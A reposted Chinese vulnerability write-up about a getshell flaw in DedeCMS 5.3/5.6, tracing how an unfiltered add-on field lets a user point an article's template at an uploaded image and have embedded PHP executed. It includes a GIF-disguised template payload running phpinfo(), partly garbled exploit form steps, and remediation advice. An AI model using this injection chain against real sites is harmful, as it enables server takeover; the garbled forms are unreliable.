驱动管家:安全、高效、精准的专业驱动下载站!

dedecms 5.6有哪些漏洞?dedecms 5.6漏洞描述

2018-03-02 09:47:03责编:llp   来源:驱动管家     人气:

DEDECMS 5.6最新Get Shell漏洞

影响版本:DEDECMS 5.3/5.6

漏洞描述:

DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。

dedecms 5.6有哪些漏洞?dedecms 5.6漏洞描述

article_add.php

复制代码

代码如下:

........................

else if($dopost=='save')

{

include(DEDEMEMBER.'/inc/archives_check.php');

//分析处理附加表数据

$inadd_f = $inadd_v = '';

if(!emptyempty($dede_addonfields))

{

$addonfields = explode(';',$dede_addonfields);

............................................ //省略部份代码

$inadd_f .= ','.$vs[0];

$inadd_v .= " ,'".${$vs[0]}."' ";

}

}

}

..........................................

$addtable = trim($cInfos['addtable']);

if(emptyempty($addtable))

{

......................................

}

else

{

$inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";

if(!$dsql->ExecuteNoneQuery($inquery))

{

..........................................

}

}

..........................................

$artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定义)

function MakeArt($aid,$ismakesign=false)

{

global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;

include_once(DEDEINC.'/arc.archives.class.php');

if($ismakesign)

{

$envs['makesign'] = 'yes';

}

$arc = new Archives($aid);

$reurl = $arc->MakeHtml(); //arc.archives.class.php有定义

............................

}

arc.archives.class.php

复制代码

代码如下:

class Archives

{

................

function __construct($aid)

{

............

if($this->ChannelUnit->ChannelInfos['addtable']!='')

{

$query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";

$this->addTableRow = $this->dsql->GetOne($query);

}

........................

if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)

{

if(is_array($this->addTableRow))

{

...............................

$this->Fields['templet'] = $this->addTableRow['templet'];//注意1

......................................

}

}

.............................

}

function MakeHtml($isremote=0)

{

global $cfg_remote_site,$fileFirst;

if($this->IsError)

{

return '';

}

$this->Fields["displaytype"] = "st";

//预编译$th

$this->LoadTemplet(); //触发1

......................................//省略部份代码

$this->arseDMFields($i,1);

$this->dtp->SaveTo($truefilename); //触发2

......................................

}

继续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有定义

function LoadTemplet()

{

if($this->TempSource=='')

{

$tempfile = $this->GetTempletFile(); //注意2

if(!file_exists($tempfile) || !is_file($tempfile))

{

echo "文档ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}

";

echo "模板文件不存在,无法解析文档!";

exit();

}

$this->dtp->LoadTemplate($tempfile); //触发3

$this->TempSource = $this->dtp->SourceString;

}

else

{

$this->dtp->LoadSource($this->TempSource);

}

}

看注意2 的$this->GetTempletFile() //arc.archives.class.php有定义

function GetTempletFile()

{

global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;

$cid = $this->ChannelUnit->ChannelInfos['nid'];

if(!emptyempty($this->Fields['templet'])) //注意3

{

$filetag = MfTemplet($this->Fields['templet']);

if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;

}

else

{

$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);

}

.......................................

if($cid=='spec')

{

if( !emptyempty($this->Fields['templet']) )

{

$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;

}

else

{

$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";

}

}

...........................................

return $tmpfile;

}

注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞

看下怎么控制注意1的值

article_edit.php

复制代码

代码如下:

......................

else if($dopost=='save')

{ ....................

if(!emptyempty($dede_addonfields))

{

$addonfields = explode(';',$dede_addonfields);

if(is_array($addonfields))

{

........................

${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);

$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";

}

}

...................

if($addtable!='')

{

$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";

if(!$dsql->ExecuteNoneQuery($upQuery))

{..............

}

}

....................

}

$dede_addonfields没有过滤,我们可以构造$inadd_f为,templet='上传的模板图片地址',包含我们的图片后,再通过触发2来生成图片里的后门!

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Gif89a{dede:field name='toby57' runphp='yes'}

phpinfo(); {/dede:field}

保存为1.gif

复制代码

代码如下:

2.

4.

6.

class="intxt"/>

8.

构造如上表单,上传后图片保存为/uploads/userup/3/1.gif 发表文章,然后构造修改表单如下:

复制代码

代码如下:

3.

5.

7.

class="intxt"/>9.

class="intxt" style="width:219px"/>

13.

class='option3' selected>aa15.

17.

19.

安全建议:

如果您使用了DedeCMS程序,因目前DedeCMS暂未发布补丁修复,请立即按如下流程处理:

1.在dedecms的后台更新补丁,尽可能升级为最新版本。

2.data、templets、uploads、install这几个目录用控制面板的“目录保护”功能 禁止执行权限 。

3.如果只是使用文章系统并没有使用会员功能,则强推推荐:关闭会员功能、关闭新会员注册、直接删除member目录或改名。

4.用dedecms后台的“系统”中的文件校验和病毒扫描功能 查杀病毒木马。

5.检查有无/data/cache/t.php 、/data/cache/x.php和/plus/index.php 这些木马文件,有的话则应立即删除。

6.用虚拟主机控制面板中的“查杀病毒 ”功能全面查杀一次。

请及时关注dedecms的最新补丁,如果官方出新补丁,则应立即更新。

厂商补丁EDECMS------------目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.dedecms.com/

  • maxthon浏览器的漏洞说明 为什么会出现这个漏洞?

    maxthon浏览器的漏洞说明 为什么会出现这个漏洞?

    漏洞说明:maxthon浏览器是一个强大的多页面浏览器 除了方便的浏览功能, maxthon浏览器还提供了大量的实用功能改善用户的上网体验,其在中国浏览器市场拥有大量的用户,以安全,界面友好著称。但是80sec安全组

    详情2018-01-25 12:28:31责编:llp   来源:驱动管家     
  • 互联网有哪些恶意软件?互联网十大恶意软件

    互联网有哪些恶意软件?互联网十大恶意软件

    想要从所有的安全厂商那里得到所有的数据并分析恶意软件感染的难度无异于“上青天”。不过总会有安全企业会通过自己的数据来分析当前网络威胁的数量和类型,以及恶意软件传播的高峰期或谷底期。安全厂商Check Po

    详情2018-01-14 10:34:55责编:llp   来源:驱动管家     
  • 开源应用程序防火墙WebKnight如何在iis6中安装?

    开源应用程序防火墙WebKnight如何在iis6中安装?

    网站被“成功”注入,网站一些页面被插入了下载病毒的代码,经查:生产服务器的代码没有任何被改动过的迹象,排除服务器被入侵,代码被篡改的可能;有病毒下载代码的部分,在数据库里真实看到了篡改迹象,可以排

    详情2018-02-28 15:41:15责编:llp   来源:驱动管家     
  • 在享用互联网的同时,如何做到网络安全?

    在享用互联网的同时,如何做到网络安全?

    我们现在的生活几乎是离不开网络了,网络渗透了我们人类生活的各个角落,互联网给我们带来了很多方便与诸多利益,但是在同时,也给我们带来了很多隐患,我们该怎么样在享用互联网的同时保证好自己安全呢?那么一

    详情2018-01-27 14:25:51责编:llp   来源:驱动管家     
  • dos攻击和ddos攻击的区别是什么?ddos攻击的方式有哪几种?

    dos攻击和ddos攻击的区别是什么?ddos攻击的方式有哪几种?

    什么是拒绝服务攻击(DOS)DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。带宽攻

    详情2018-02-01 10:35:23责编:llp   来源:驱动管家     
  • 容易被纠正的安全疏漏 哪些网络安全疏漏可以被避免?

    容易被纠正的安全疏漏 哪些网络安全疏漏可以被避免?

    不论我们做多大的努力,终端用户甚至是企业的IT部门,仍然会忽视那些本来很容易被纠正的安全疏漏。本文将与大家讨论10个可以被避免的安全疏漏,并告诉大家该如何纠正这种疏忽。1: 使用脆弱的密码曾经有段时间,

    详情2018-02-17 16:29:45责编:llp   来源:驱动管家     
  • 怎么使用dos攻击工具阿拉丁来进行初步的dos攻击?

    怎么使用dos攻击工具阿拉丁来进行初步的dos攻击?

    任务一 熟悉dos攻击器阿拉丁的使用根据老师发给我们的DOS攻击器,我们来进行初步的DOS攻击。我们会在监视器中看到,CPU的使用率时变低的,下面攻击开始设置数据,被攻击的IP地址,和攻击力度的大小。任务二 建

    详情2018-02-07 19:37:03责编:llp   来源:驱动管家     
  • 网马是什么?怎么保护网马的代码?

    网马是什么?怎么保护网马的代码?

    网页木马实际上是一个HTML网页,它利用IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马。网马就是在网页中植入木马,你打开网页就运行了木马程序,使你在不知不觉中中毒。网马

    详情2018-01-16 12:21:40责编:llp   来源:驱动管家     
  • .php文件被apache服务器解析成php文件的问题如何解决?

    .php文件被apache服务器解析成php文件的问题如何解决?

    主要问题是:不管文件最后后缀为什么,只要是 php *结尾,就会被Apache服务器解析成php文件,问题是apache如果在mime types文件里面没有定义的扩展名在诸如x1 x2 x3的情况下,最后一个x3的没有定义,他会给解析成

    详情2018-02-16 13:07:06责编:llp   来源:驱动管家     
  • diskXtender mediastor组件存在漏洞:服务器没有正确验证格式串的内容

    diskXtender mediastor组件存在漏洞:服务器没有正确验证格式串的内容

    受影响系统:EMC DiskXtender 6 20 60描述:CVE(CAN) ID: CVE-2008-0963EMC DiskXtender是一款数据备份、迁移套件。DiskXtender产品的MediaStor组件在处理UUID为b157b800-aef5-11d3-ae49-00600834c15f的RPC接

    详情2018-01-25 16:13:34责编:llp   来源:驱动管家